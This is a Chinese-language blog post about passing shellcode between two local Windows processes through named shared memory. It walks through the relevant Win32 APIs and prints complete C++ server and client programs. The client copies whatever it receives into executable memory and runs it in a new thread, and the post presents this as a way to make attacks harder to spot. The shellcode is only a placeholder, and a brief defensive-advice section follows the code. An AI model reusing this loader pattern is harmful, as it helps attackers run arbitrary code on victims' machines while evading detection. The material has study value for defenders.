在计算机安全领域,ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度,研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法,通过该方法,两个本地进程可以相互传递ShellCode,从而实现一种巧妙的本地传输手段。如果你问我为何在本地了还得这样传,那我只能说在某些时候我们可能会将ShellCode打散,而作为客户端也不需要时时刻刻在本地存放ShellCode代码,这能保证客户端的安全性。

服务端部分

CreateFileMapping

用于创建一个文件映射对象,将文件或者其他内核对象映射到进程的地址空间。这个函数通常用于共享内存的创建。

下面是 CreateFileMapping 函数的基本语法:

HANDLE CreateFileMapping(
HANDLE hFile,
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
DWORD flProtect,
DWORD dwMaximumSizeHigh,
DWORD dwMaximumSizeLow,
LPCTSTR lpName
);

参数说明:

  • hFile: 文件句柄,可以是一个磁盘文件或者其他内核对象的句柄。如果是 INVALID_HANDLE_VALUE,则表示创建一个只在内存中的映射,而不与文件关联。
  • lpFileMappingAttributes: 安全属性,一般为 NULL,表示使用默认的安全设置。
  • flProtect: 内存保护选项,指定内存页的保护属性,例如读、写、执行等。常见的值有 PAGE_READONLYPAGE_READWRITEPAGE_EXECUTE_READ 等。
  • dwMaximumSizeHighdwMaximumSizeLow: 指定文件映射对象的最大大小。如果映射的是一个文件,可以通过这两个参数指定文件映射的大小。
  • lpName: 文件映射对象的名字,如果是通过共享内存进行跨进程通信,可以通过这个名字在不同的进程中打开同一个文件映射对象。

成功调用 CreateFileMapping 会返回一个文件映射对象的句柄,失败则返回 NULL。通常创建成功后,可以通过 MapViewOfFile 函数将文件映射对象映射到当前进程的地址空间中,进行读写操作。

MapViewOfFile

用于将一个文件映射对象映射到调用进程的地址空间中,使得进程可以直接操作映射区域的内容。

以下是 MapViewOfFile 函数的基本语法:

LPVOID MapViewOfFile(
HANDLE hFileMappingObject,
DWORD dwDesiredAccess,
DWORD dwFileOffsetHigh,
DWORD dwFileOffsetLow,
SIZE_T dwNumberOfBytesToMap
);

参数说明:

  • hFileMappingObject: 文件映射对象的句柄,这个句柄通常是通过 CreateFileMapping 函数创建得到的。
  • dwDesiredAccess: 映射区域的访问权限,常见的值有 FILE_MAP_READFILE_MAP_WRITEFILE_MAP_EXECUTE
  • dwFileOffsetHighdwFileOffsetLow: 文件映射的起始位置。在这里,通常指定为0,表示从文件的开头开始映射。
  • dwNumberOfBytesToMap: 指定映射的字节数,通常可以设置为 0 表示映射整个文件。

成功调用 MapViewOfFile 会返回映射视图的起始地址,失败则返回 NULL。映射成功后,可以直接通过返回的地址进行读写操作。当不再需要映射时,应该通过 UnmapViewOfFile 函数解除映射。

CreateMutex

用于创建一个互斥体对象。互斥体(Mutex)是一种同步对象,用于确保在多线程或多进程环境中对资源的互斥访问,防止多个线程或进程同时访问共享资源,以避免数据竞争和冲突。

以下是 CreateMutex 函数的基本语法:

HANDLE CreateMutex(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
LPCTSTR lpName
);

参数说明:

  • lpMutexAttributes: 一个指向 SECURITY_ATTRIBUTES 结构的指针,决定了互斥体的安全性。通常可以设为 NULL,表示使用默认的安全描述符。
  • bInitialOwner: 一个布尔值,指定互斥体的初始状态。如果设置为 TRUE,表示创建互斥体时已经拥有它,这通常用于创建一个已经锁定的互斥体。如果设置为 FALSE,则表示创建互斥体时未拥有它。
  • lpName: 一个指向包含互斥体名称的空终止字符串的指针。如果为 NULL,则创建一个匿名的互斥体;否则,创建一个具有指定名称的互斥体。通过指定相同的名称,可以在多个进程中共享互斥体。

成功调用 CreateMutex 会返回互斥体对象的句柄,失败则返回 NULL。在使用完互斥体后,应该通过 CloseHandle 函数关闭句柄以释放资源。

CreateEvent

用于创建一个事件对象。事件对象是一种同步对象,用于实现多线程或多进程之间的通信和同步。通过事件对象,可以使一个或多个线程等待某个事件的发生,从而协调它们的执行。

以下是 CreateEvent 函数的基本语法:

HANDLE CreateEvent(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCTSTR lpName
);

参数说明:

  • lpEventAttributes: 一个指向 SECURITY_ATTRIBUTES 结构的指针,决定了事件对象的安全性。通常可以设为 NULL,表示使用默认的安全描述符。
  • bManualReset: 一个布尔值,指定事件对象的复位类型。如果设置为 TRUE,则为手动复位;如果设置为 FALSE,则为自动复位。手动复位的事件需要通过 ResetEvent 函数手动将其重置为非触发状态,而自动复位的事件会在一个等待线程被释放后自动复位为非触发状态。
  • bInitialState: 一个布尔值,指定事件对象的初始状态。如果设置为 TRUE,表示创建事件对象时已经处于触发状态;如果设置为 FALSE,则表示创建事件对象时处于非触发状态。
  • lpName: 一个指向包含事件对象名称的空终止字符串的指针。如果为 NULL,则创建一个匿名的事件对象;否则,创建一个具有指定名称的事件对象。通过指定相同的名称,可以在多个进程中共享事件对象。

成功调用 CreateEvent 会返回事件对象的句柄,失败则返回 NULL。在使用完事件对象后,应该通过 CloseHandle 函数关闭句柄以释放资源。

WaitForSingleObject

用于等待一个或多个内核对象的状态变为 signaled。内核对象可以是事件、互斥体、信号量等等。

以下是 WaitForSingleObject 函数的基本语法:

DWORD WaitForSingleObject(
HANDLE hHandle,
DWORD dwMilliseconds
);

参数说明:

  • hHandle: 要等待的内核对象的句柄。可以是事件、互斥体、信号量等。
  • dwMilliseconds: 等待的时间,以毫秒为单位。如果设为 INFINITE,表示无限等待,直到内核对象变为 signaled。

WaitForSingleObject 返回一个 DWORD 类型的值,表示等待的结果。可能的返回值包括:

  • WAIT_OBJECT_0:内核对象已经变为 signaled 状态。
  • WAIT_TIMEOUT:等待时间已过,但内核对象仍然没有变为 signaled 状态。
  • WAIT_FAILED:等待出错,可以通过调用 GetLastError 获取详细错误信息。

这个函数是同步函数,调用它的线程会阻塞,直到等待的对象变为 signaled 状态或者等待时间超时。

ReleaseMutex

用于释放之前由 WaitForSingleObjectWaitForMultipleObjects 等函数获取的互斥体对象的所有权。

以下是 ReleaseMutex 函数的基本语法:

BOOL ReleaseMutex(
HANDLE hMutex
);

参数说明:

  • hMutex: 要释放的互斥体对象的句柄。

ReleaseMutex 返回一个 BOOL 类型的值,表示释放互斥体对象是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError 获取详细错误信息。

互斥体(Mutex)是一种同步对象,用于控制对共享资源的访问。在多线程或者多进程环境中,互斥体可以确保在同一时刻只有一个线程或者进程能够访问被保护的共享资源。当一个线程或者进程成功获取互斥体的所有权后,其他试图获取该互斥体所有权的线程或者进程将会被阻塞,直到拥有互斥体的线程或者进程调用 ReleaseMutex 释放互斥体所有权。

SetEvent

用于将指定的事件对象的状态设置为 signaled(有信号)。该函数通常与等待函数(如 WaitForSingleObjectWaitForMultipleObjects)一起使用,以实现线程之间或进程之间的同步。

以下是 SetEvent 函数的基本语法:

BOOL SetEvent(
HANDLE hEvent
);

参数说明:

  • hEvent: 事件对象的句柄。

SetEvent 函数返回一个 BOOL 类型的值,表示设置事件对象状态是否成功。如果函数成功,返回值为非零;如果函数失败,返回值为零。可以通过调用 GetLastError 获取详细错误信息。

事件对象是一种同步对象,用于在线程或者进程之间发信号。通过 SetEvent 可以将事件对象的状态设置为 signaled,表示某个条件已经满足,其他等待该事件对象的线程或者进程可以继续执行。

有了上述API函数的支持,那么实现这个服务端将变得很容易,如下所示则是服务端完整代码,通过创建一个共享内存池,并等待用户按下简单,当键盘被按下时则会自动填充缓冲区为特定内容。

#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024 HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL; char ShellCode[] = "此处是ShellCode"; using namespace std; int main(int argc,char *argv[])
{
// 创建共享文件句柄
HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");
if (shareFileHandle == NULL)
{
return 1;
} //映射缓冲区视图,得到指向共享内存的指针
LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);
if (lpBuf == NULL)
{
CloseHandle(shareFileHandle);
return 1;
} // 创建互斥器
H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");
H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event"); // 操作共享内存
while (true)
{
getchar(); // 使用互斥体加锁,获得互斥器的拥有权
WaitForSingleObject(H_Mutex, INFINITE);
memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);
ReleaseMutex(H_Mutex); // 放锁
SetEvent(H_Event); // 激活等待的进程
} CloseHandle(H_Mutex);
CloseHandle(H_Event);
UnmapViewOfFile(lpBuf);
CloseHandle(shareFileHandle);
return 0;
}

客户端部分

OpenFileMapping

用于打开一个已存在的文件映射对象,以便将它映射到当前进程的地址空间。文件映射对象是一种用于在多个进程间共享内存数据的机制。

以下是 OpenFileMapping 函数的基本语法:

HANDLE OpenFileMapping(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
LPCTSTR lpName
);

参数说明:

  • dwDesiredAccess: 指定对文件映射对象的访问权限。可以使用标准的访问权限标志,如 FILE_MAP_READFILE_MAP_WRITE 等。
  • bInheritHandle: 指定句柄是否可以被子进程继承。如果为 TRUE,子进程将继承句柄;如果为 FALSE,子进程不继承句柄。
  • lpName: 指定文件映射对象的名称。此名称在系统内必须是唯一的。如果是 NULL,函数将打开一个不带名称的文件映射对象。

OpenFileMapping 函数返回一个文件映射对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。

OpenEvent

用于打开一个已存在的命名事件对象。事件对象是一种同步对象,用于在多个进程间进行通信和同步。

以下是 OpenEvent 函数的基本语法:

HANDLE OpenEvent(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
LPCTSTR lpName
);

参数说明:

  • dwDesiredAccess: 指定对事件对象的访问权限。可以使用标准的访问权限标志,如 EVENT_MODIFY_STATEEVENT_QUERY_STATE 等。
  • bInheritHandle: 指定句柄是否可以被子进程继承。如果为 TRUE,子进程将继承句柄;如果为 FALSE,子进程不继承句柄。
  • lpName: 指定事件对象的名称。此名称在系统内必须是唯一的。如果是 NULL,函数将打开一个不带名称的事件对象。

OpenEvent 函数返回一个事件对象的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。

VirtualAlloc

用于在进程的虚拟地址空间中分配一段内存区域。这个函数通常用于动态分配内存,而且可以选择性地将其初始化为零。

以下是 VirtualAlloc 函数的基本语法:

LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

参数说明:

  • lpAddress: 指定欲分配内存的首地址。如果为 NULL,系统将决定分配的地址。
  • dwSize: 指定欲分配内存的大小,以字节为单位。
  • flAllocationType: 指定分配类型。可以是以下常量之一:
    • MEM_COMMIT:将内存提交为物理存储(RAM或磁盘交换文件)中的一页或多页。
    • MEM_RESERVE:为欲保留的内存保留地址空间而不分配任何物理存储。
    • MEM_RESET:将内存区域的内容初始化为零。必须与 MEM_COMMIT 一起使用。
  • flProtect: 指定内存的访问保护。可以是以下常量之一:
    • PAGE_EXECUTE_READ: 允许读取并执行访问。
    • PAGE_READWRITE: 允许读写访问。

VirtualAlloc 函数返回一个指向分配的内存区域的指针。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。

CreateThread

用于创建一个新的线程。线程是执行程序代码的单一路径,一个进程可以包含多个线程,这些线程可以并发执行。

以下是 CreateThread 函数的基本语法:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

参数说明:

  • lpThreadAttributes: 用于设置线程的安全属性,通常设置为 NULL
  • dwStackSize: 指定线程堆栈的大小,可以设置为 0 使用默认堆栈大小。
  • lpStartAddress: 指定线程函数的地址,新线程将从此地址开始执行。
  • lpParameter: 传递给线程函数的参数。
  • dwCreationFlags: 指定线程的创建标志,通常设置为 0。
  • lpThreadId: 接收新线程的标识符。如果为 NULL,则不接收线程标识符。

CreateThread 函数返回一个新线程的句柄。如果函数调用失败,返回值为 NULL。可以通过调用 GetLastError 获取详细错误信息。

客户端同样创建内存映射,使用服务端创建的内存池,并在里面取出ShellCode执行后反弹,完整代码如下所示;

#include <iostream>
#include <Windows.h>
#include <winbase.h> using namespace std; HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL; int main(int argc, char* argv[])
{
// 打开共享文件句柄
HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");
if (sharedFileHandle == NULL)
{
return 1;
} // 映射缓存区视图,得到指向共享内存的指针
LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if (lpBuf == NULL)
{
CloseHandle(sharedFileHandle);
return 1;
} H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");
if (H_Event == NULL)
{
return 1;
} char buffer[4096] = {0}; while (1)
{
HANDLE hThread; // 互斥体接收数据并加锁
WaitForSingleObject(H_Event, INFINITE);
WaitForSingleObject(H_Mutex, INFINITE); // 使用互斥体加锁
memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1); // 接收数据到内存
ReleaseMutex(H_Mutex); // 放锁
cout << "接收到的ShellCode: " << buffer << endl; // 注入ShellCode并执行
void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ShellCode, buffer, sizeof(buffer)); hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
} CloseHandle(H_Event);
CloseHandle(H_Mutex);
UnmapViewOfFile(lpBuf);
CloseHandle(sharedFileHandle);
return 0;
}

潜在风险和安全建议

虽然这种方法在本地攻击场景中有一定的巧妙性,但也存在潜在的风险。以下是一些建议:

  1. 防御共享内存滥用: 操作系统提供了一些机制,如使用 ACL(访问控制列表)和安全描述符,可以限制对共享内存的访问。合理配置这些机制可以减轻潜在的滥用风险。
  2. 加强系统安全策略: 使用强密码、及时更新系统和应用程序、启用防火墙等都是基础的系统安全策略。这些都有助于防止潜在的Shellcode攻击。
  3. 监控和响应: 部署实时监控和响应系统,能够及时检测到异常行为并采取相应措施,对于减缓潜在威胁的影响十分重要。

总结

本文介绍了通过共享内存传递Shellcode的方法,通过这种巧妙的本地攻击方式,两个进程可以在不直接通信的情况下相互传递Shellcode。然而,使用这种技术需要非常谨慎,以免被滥用用于不当用途。在实际应用中,必须谨慎权衡安全性和便利性,同时配合其他防御措施,确保系统的整体安全性。

C++ 共享内存ShellCode跨进程传输的更多相关文章

  1. linux 共享内存shm_open实现进程间大数据交互

    linux 共享内存shm_open实现进程间大数据交互 read.c #include <sys/types.h> #include <sys/stat.h> #includ ...

  2. 【网络编程基础】Linux下进程通信方式(共享内存,管道,消息队列,Socket)

    在网络课程中,有讲到Socket编程,对于tcp讲解的环节,为了加深理解,自己写了Linux下进程Socket通信,在学习的过程中,又接触到了其它的几种方式.记录一下. 管道通信(匿名,有名) 管道通 ...

  3. linux进程间的通信之 共享内存

    一.共享内存介绍 共享内存是三个IPC(Inter-Process Communication)机制中的一个. 它允许两个不相关的进程访问同一个逻辑内存. 共享内存是在两个正在进行的进程之间传递数据的 ...

  4. Linux进程通信之共享内存实现生产者/消费者模式

    共享内存 共享内存是内核为进程创建的一个特殊内存段,它将出现在进程自己的地址空间中,其它进程可以将同一段共享内存连接(attach)到自己的地址空间.这是最快的进程间通信方式,但是不提供任何同步功能( ...

  5. PHP进程通信基础——信号量+共享内存通信

    PHP进程通信基础--信号量+共享内存通信 由于进程之间谁先执行并不确定,这取决于内核的进程调度算法,其中比较复杂.由此有可能多进程在相同的时间内同时访问共享内存,从而造成不可预料的错误.信号量这个名 ...

  6. Linux学习笔记(14)-进程通信|共享内存

    在Linux中,共享内存是允许两个不相关的进程访问同一个逻辑内存的进程间通信方法,是在两个正在运行的进程之间共享和传递数据的一种非常有效的方式. 不同进程之间共享的内存通常安排为同一段物理内存.进程可 ...

  7. Linux进程通信之System V共享内存

    前面已经介绍过了POSIX共享内存区,System V共享内存区在概念上类似POSIX共享内存区,POSIX共享内存区的使用是调用shm_open创建共享内存区后调用mmap进行内存区的映射,而Sys ...

  8. 进程间的八种通信方式----共享内存是最快的 IPC 方式

    1.无名管道( pipe ):管道是一种半双工的通信方式,数据只能单向流动,而且只能在具有亲缘关系的进程间使用.进程的亲缘关系通常是指父子进程关系. 2.高级管道(popen):将另一个程序当做一个新 ...

  9. linux 进程学习笔记-共享内存

    如果能划定一块物理内存,让多个进程都能将该内存映射到其自身虚拟内存空间的话,那么进程可以通过向这块内存空间读写数据而达到通信的目的.另外,和消息队列不同的是,共享的内存在用户空间而不是核空间,那么就不 ...

  10. Linux进程IPC浅析[进程间通信SystemV共享内存]

    Linux进程IPC浅析[进程间通信SystemV共享内存] 共享内存概念,概述 共享内存的相关函数 共享内存概念,概述: 共享内存区域是被多个进程共享的一部分物理内存 多个进程都可把该共享内存映射到 ...

随机推荐

  1. call与retn指令

    一. call指令 将call指令下一跳指令压入栈中 jmp跳转到call指令的地址 二. retn指令 pop指令将栈顶元素弹出存储 jmp跳转到该栈顶元素地址 retn n;表示再前两步操作的基础 ...

  2. .NET周刊【8月第2期 2023-08-14】

    本周由于Myuki大佬感染新冠,国际板块暂停更新一周,将在下周补齐,所以本周只有国内板块. 国内文章 解决 Blazor 中因标签换行导致的行内元素空隙问题 https://www.cnblogs.c ...

  3. SpringBoot - 自定义starter

    目录 一.什么是SpringBoot starter机制 二.为什么要自定义starter 三.什么时候需要创建自定义starter 四.自动加载核心注解说明 五.自定义starter的开发流程 案例 ...

  4. 这才叫 API 接口设计!

    API 接口设计 Token 设计 Token 是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个 Token 便将此 Token 返回给客户端,以后客户端只需带上 ...

  5. python 获取本周 ,上周,本月,上月,本季,上季,今年, 去年的第一天和最后一天

    import datetime from datetime import timedelta now = datetime.datetime.now()# 获取当前月的天数 month = 2days ...

  6. 【krpano】KRPano打开黑屏: FATAL ERROR

    在KRPano开发过程中,初学者打开项目经常遇到如下的问题: FATAL ERROR:tour.xml – loading failed! (0) 或者是: ERROR:Local usage wit ...

  7. WebAssembly实践指南——C++和Rust通过wasmtime实现相互调用实例

    C++和Rust通过wasmtime实现相互调用实例 1 wasmtime介绍 wasmtime是一个可以运行WebAssembly代码的运行时环境. WebAssembly是一种可移植的二进制指令集 ...

  8. 「atcoder - abc246h」01? Queries

    link. 平时基本打不到 ex,这个 ex 还是比较 ez 的,但也有些需要注意的地方. 考虑 dp 规划前缀,设 \(f[i][0/1]\) 表示前缀 \([1, i]\) 否是选 \(i\) 的 ...

  9. 「luogu - P4313」文理分科 Mincut

    link. Pretty nice practice for the min-cut trick. Starting out we eliminate the constraint that if f ...

  10. 「sdoi2019 - D2T2」移动金币

    对 @command_block 没有 implementation 做法的细化.理论来说可以通过,但因为我实现得较劣无法通过.:( 把金币中的空隙看作石子,就是一个阶梯 Nim 的模型(有总共 \( ...